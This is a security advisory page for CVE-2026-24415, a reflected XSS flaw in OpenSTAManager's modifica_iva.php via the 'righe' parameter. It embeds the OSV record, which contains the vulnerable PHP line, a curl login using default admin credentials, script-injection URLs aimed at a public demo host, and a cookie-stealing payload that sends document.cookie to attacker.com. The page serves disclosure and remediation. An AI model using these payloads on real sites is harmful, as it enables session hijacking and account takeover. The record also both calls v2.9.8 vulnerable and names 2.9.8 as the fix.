CVE-2026-24415: Devcode it/openstamanager Cross-Site Scripting Vulnerability
MODERATECVE-2026-24415 is a MODERATE cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager affected by xss in modifica_iva.php via righe parameter. Remediation is available by upgrading affected packages to version 2.9.8.
CVE-2026-24415 at a Glance
How to Fix CVE-2026-24415
To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade devcode-it/openstamanager to 2.9.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for devcode-it/openstamanager
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-24415, inspect your project dependencies for Devcode it/openstamanager:
inspect dependencies for devcode-it/openstamanager
Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-24415 Affected Devcode it/openstamanager Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
devcode-it/openstamanager
|
Packagist |
< 2.9.8
|
2.9.8
|
References
Frequently Asked Questions
What is CVE-2026-24415?
Which Devcode it/openstamanager versions are affected?
What version fixes CVE-2026-24415?
Is devcode-it/openstamanager affected?
What CWE is associated with CVE-2026-24415?
How can I check Packagist dependencies for CVE-2026-24415?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jfgp-g7x7-j25j",
"modified" : "2026-03-04T01:59:55Z",
"published" : "2026-03-03T17:39:00Z",
"aliases" : [ "CVE-2026-24415" ],
"summary" : "OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter",
"details" : "### Summary\n\nMultiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.\n\n**Vulnerable Parameter:** `righe` (GET)\n\n### Details\n\nOpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output.\n\n**Vulnerable Code Location:**\nFile: `/modules/contratti/modals/modifica_iva.php` (Line 125)\n\n```php\n<input type=\"hidden\" name=\"righe\" value=\"<?php echo $_GET['righe']; ?>\">\n```\n\nThe `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.\n\n**All Affected Files:**\n\n1. `/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167**\n2. `/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167**\n3. `/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161**\n4. `/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167**\n5. `/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167**\n6. `/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167**\n\n### PoC\n\n**Prerequisites:**\n- Running instance of OpenSTAManager v2.9.8\n- Valid admin credentials (username: admin, password: admin for test instance)\n\n**Step 1: Login**\n```bash\ncurl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n -d 'username=admin&password=admin'\n```\n\n**Step 2: Trigger XSS**\nNavigate to the following URL in a browser (or use curl with cookies):\n```\nhttp://localhost:8081/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.domain)</script>\n```\n\n**Tested URLs (All vulnerable):**\n- `https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n- `https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe=\"><script>alert(document.cookie)</script>`\n\n**Expected Result:**\nJavaScript alert popup displays showing the current session cookie, confirming code execution.\n\n**HTML Output (verified on live instance):**\n```html\n<input type=\"hidden\" name=\"righe\" value=\"\"><script>alert(document.cookie)</script>\">\n```\n\n**Verification:**\n\n<img width=\"1260\" height=\"99\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473\" />\n\n<img width=\"2060\" height=\"1180\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0\" />\n\n**Alternative Payloads:**\nSession stealing: `\"><script>fetch('https://attacker.com/?c='+document.cookie)</script>`\n\n### Impact\n\n\n**Affected Users:** All authenticated users with access to contracts, invoices, quotes, or orders modules.\n\n**Attack Scenario:**\n1. Attacker crafts malicious URL with XSS payload\n2. Attacker sends URL to victim via email/chat/phishing\n3. Victim (authenticated user) clicks the link\n4. Malicious JavaScript executes in victim's browser context\n5. Attacker can:\n - Steal session cookies → Full account takeover\n - Perform actions on behalf of victim (create/modify/delete records)\n - Steal CSRF tokens and bypass CSRF protection\n - Redirect to phishing page\n - Inject keylogger to capture sensitive data\n - Modify page content to trick user into revealing credentials\n\n\n**Recommended Fix:**\n```php\n<input type=\"hidden\" name=\"righe\" value=\"<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>\">\n```\n\nApply this fix to all affected files listed in Details section.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "devcode-it/openstamanager"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.9.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24415"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/devcode-it/openstamanager"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-03T17:39:00Z",
"nvd_published_at" : "2026-03-03T22:16:28Z"
}
}